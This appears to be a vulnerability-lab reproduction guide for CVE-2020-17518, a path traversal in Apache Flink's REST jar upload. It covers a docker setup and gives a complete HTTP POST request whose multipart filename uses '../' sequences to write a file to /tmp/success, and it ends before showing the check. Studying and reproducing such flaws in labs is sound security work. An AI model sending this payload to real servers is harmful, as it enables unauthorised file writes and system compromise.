Apache Flink Upload Path Traversal (CVE-2020-17518)¶
Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities.
A vulnerability in Apache Flink 1.5.1 and later versions allows attackers to write uploaded files to arbitrary locations on the local file system through a maliciously crafted HTTP header in the REST API request. This issue is fixed in Apache Flink 1.11.3.
References:
- https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
Environment Setup¶
Execute the following command to start an Apache Flink jobmanager 1.11.2:
docker compose up -d
After the Apache Flink service is started, visit http://your-ip:8081 to access the management interface.
Vulnerability Reproduction¶
Send the following HTTP request to upload a file to /tmp/success on the target server:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
After the file is uploaded, you can check the /tmp/success file on the target server:
